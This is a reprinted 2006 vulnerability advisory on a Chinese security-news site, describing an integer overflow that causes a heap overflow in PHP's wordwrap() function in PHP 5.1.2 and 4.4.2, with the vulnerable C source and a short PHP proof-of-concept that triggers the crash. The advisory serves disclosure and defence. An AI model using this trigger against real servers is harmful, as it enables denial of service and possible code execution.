岁月联盟 · 中国技术网 本站主页 | 安全认证 | 用户服务 | 技术论坛
新闻快报 | 新手学堂 | 黑客特区 | 程序语言 | 数 据 库 | 防 火 墙 | 路由交换 | 系统集成 | 服 务 器 | 存储备份 | 考试认证
Windows | Linux | Java | 协议分析 | 问题解答 | 进程大全 | 网页设计 | 多 媒 体 | 图库资料 | 软件下载 | 站内下载
  您现在的位置: 岁月联盟 >> 最新报道 >> 漏洞信息 >> 最新报道正文
PHP wordwrap()缓冲区溢出漏洞
作者:未知 文章来源:Leon Juranic 点击数: 更新时间:2006-4-27 10:30:16

受影响系统:
PHP PHP 5.1.2
PHP PHP 4.4.2
描述:
--------------------------------------------------------------------------------
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的wordwrap()函数实现上存在漏洞,远程攻击者可能利用此漏洞对PHP执行堆溢出攻击,可能导致拒绝服务或执行任意指令。

由于错误的整数计算,如果向PHP的wordwrap()函数发送了超长字符串的话,就会触发堆溢出漏洞。在下文的[1]或[2]中,整数“alloced”是从用户输入字符串的长度计算出来的。如果设置了长字符串(大约1MB)的话在乘法操作时就会溢出产生小正整数,在[3]中使用进行内存分配。在[4]中用户输入拷贝到新分配的缓冲区“newtext”,而这个缓冲区过小,在memcpy()中会溢出。拷贝大小“current”会包含用户提供字符串“text”的长度。

php-4.4.2/ext/standard/string.c中的有漏洞代码:

--------------------------------------------------------
PHP_FUNCTION(wordwrap)
{
     const char *text, *breakchar = "\n";
     char *newtext;
     int textlen, breakcharlen = 1, newtextlen, alloced, chk;
     long current = 0, laststart = 0, lastspace = 0;
     long linelength = 75;
     zend_bool docut = 0;
...
          if (linelength > 0) {
                  chk = (int)(textlen/linelength + 1);
[1]               alloced = textlen + chk * breakcharlen + 1;        
          } else {
                  chk = textlen;
[2]               alloced = textlen * (breakcharlen + 1) + 1;
          }
          if (alloced <= 0) {
                  RETURN_FALSE;
          }
[3]       newtext = emalloc(alloced);

...
          if (laststart != current) {
[4]               memcpy(newtext+newtextlen, text+laststart, current-laststart);
                  newtextlen += current - laststart;

      }
...
}
--------------------------------------------------------

如果memory_limit的值过高,还可能导致内存拒绝服务。

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?
$a = str_repeat ("A",438013);
$b = str_repeat ("B",951140);
wordwrap ($a,0,$b,0);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net


 


  • 上一个最新报道:
  • 下一个最新报道:
  •  
    热门文章
    推荐文章
    关于我们 | 发展历程 | 网站地图 | 广告服务 | 招贤纳士 | 战略合作 | 友情链接 | 著作声明 | 联系我们
    Copyright © 2002-2007 SYUE All rights reserved.
    E_mail:Admin@Syue.Com 皖ICP备05004589号
    未经授权禁止转载、摘编、复制或建立镜像.如有违反,追究法律责任.
    天龙八部私服 传世私服 传奇世界私服 天龙八部私服 bet365 天龙八部私服 热血江湖私服 英雄合击传奇私服 热血江湖私服 bet365 bet365